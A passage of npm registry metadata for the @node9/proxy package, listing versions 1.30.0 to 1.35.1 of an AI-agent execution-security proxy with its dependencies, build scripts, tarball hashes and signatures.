Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.30.0_1780854718303_0.8483947779718255","host":"s3://npm-registry-packages-npm-production"}},"1.31.0":{"name":"@node9/proxy","version":"1.31.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.31.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"eb9ccf4a6275f87d691623ccfc7a03cf04b50fbf","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.31.0.tgz","fileCount":17,"integrity":"sha512-1pNqqNMett47RxAxnmnueQqRUPEifqTs5p6D8w6VjgGHgySqvwqS+mGx8uxLzdBAXabis5YJW5FuJPuIcyf7Ww==","signatures":[{"sig":"MEYCIQDprZzJyvPw8j/LK2BBvV1QeRd5heI8H0xtpuYYAwVxAwIhAOlTxzPWX0I4e0DTMW2VrupbvlSAtplUgWtXMRJcSZev","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.31.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4116186},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"40011d0c8742586992e4f82f81f50429bd19531e","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.31.0_1780866214519_0.12113684672243608","host":"s3://npm-registry-packages-npm-production"}},"1.32.0":{"name":"@node9/proxy","version":"1.32.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.32.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"5c14369c8984b6a8a8b622c3e34a6355ef236a78","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.32.0.tgz","fileCount":17,"integrity":"sha512-5ZTlFpcSWvuJTmlFLeaKaEe40r651+gGAD6IyMwTfv+25BUF1bHqhXuYBJw9jhtyJJXHLKy7856WovYktLpx0Q==","signatures":[{"sig":"MEUCIQC0erNFUDo7sCoUDzSaNEj3GuRLgyOhllRsXWZKZlrMHQIgT0vXt1f0XKlXDNo7yJYQ08h0jq2JEFyqAoG0sZt6Vl0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.32.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4122180},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"ac4b00e7bee7df746a5b4e4a6c62d9619246b8d7","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.32.0_1781000439037_0.9914298495526253","host":"s3://npm-registry-packages-npm-production"}},"1.33.0":{"name":"@node9/proxy","version":"1.33.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.33.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"3055091c437e38cc41366a5175ee11975d04513b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.33.0.tgz","fileCount":17,"integrity":"sha512-EDxgiII6LnmIAzkHC/pT9yazwc6fNn6XPT08rAZ3E95LNx9qp94wYALXEB/Uy1sHqGGcCVKbTGQS1uyQFbF5/A==","signatures":[{"sig":"MEUCIGtKpRyNfwD7rZD6VziD4Htech9tqii/Sn/nNz7V43SeAiEAl9PJTneEiHBHKuGsujUavAv3xuKk9Hq3Y9iO03PbTek=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.33.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4155270},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"586bc27c5fe37a7ea75c76d5b774d5b5dfd44659","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.33.0_1781337941771_0.22440473916990245","host":"s3://npm-registry-packages-npm-production"}},"1.34.0":{"name":"@node9/proxy","version":"1.34.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.34.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"7e5f1c5c50cbfe996ce7a0b4f959d959a5c7a624","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.34.0.tgz","fileCount":17,"integrity":"sha512-3XDrmj6yK0hEudRTNHolMmSRos59pzbB01UHiyS3ywH02mKPCNIGCRpMy5cBgV/4H+3PGrvp79dJQz9gI5s5dQ==","signatures":[{"sig":"MEYCIQCvImF6MVIZFUnNICrSvG+8JRWCbHw0B0wUA0H4lwyYvAIhANg6a1awUG68McHZ5g2Hz57Y19+jpBAWLXAPj4VqADre","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.34.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4157331},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4f0ffe9e74824f2fe8e66b6ae30e033893a252ec","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.34.0_1781438269304_0.18573874435459592","host":"s3://npm-registry-packages-npm-production"}},"1.35.0":{"name":"@node9/proxy","version":"1.35.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.35.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"9bf4d87c03ea883d63cd4c2e8da3e424c2c1ed15","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.35.0.tgz","fileCount":17,"integrity":"sha512-/CQbuXIcDGBZwW+Qn1SRRpdlisZCyod8fqSxlrHiRmDmzcIlvlImw96udaNgBe/8oZBeNi8h6UC2ZoBZ5o0lfw==","signatures":[{"sig":"MEUCIFKFqCKCc6erHYvXRuih6iMfAjmfVn1sfmSMjsQ+nUOrAiEAol8S6ruuB6c/lC9FSGNWzxdBC9A7IUbVBwFr9s1Sx84=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.35.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4168500},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"15945fab76d4cd3f8700fe0f0c54aeed5218d527","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.35.0_1781503661633_0.10333086323398954","host":"s3://npm-registry-packages-npm-production"}},"1.35.1":{"name":"@node9/proxy","version":"1.35.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.35.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"9eaf37672f1b1ff07aae5fd40d826c35c401ce03","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.35.1.tgz","fileCount":17,"integrity":"sha512-05cmKSSdZUnVYwB2nxsHQbO8fW+8IDj7AxEFMl6vVhcCRdVKyjQdniPvM+8XT7qLz4WNg+JYGuCXUy4WquTK1A==","signatures":[{"sig":"MEYCIQCN5xClzjCBB2ocGKK78KrpNvJ0SUMJ1neF6XOQ0FxHBwIhAMbqLApxLn47WPM1OQV5vbo8ZOodr/UMH5Q4PvAwvhhF","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.35.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4173215},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"002bd805e36ed4b96d2f29e2396b7e703400a9c2","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node 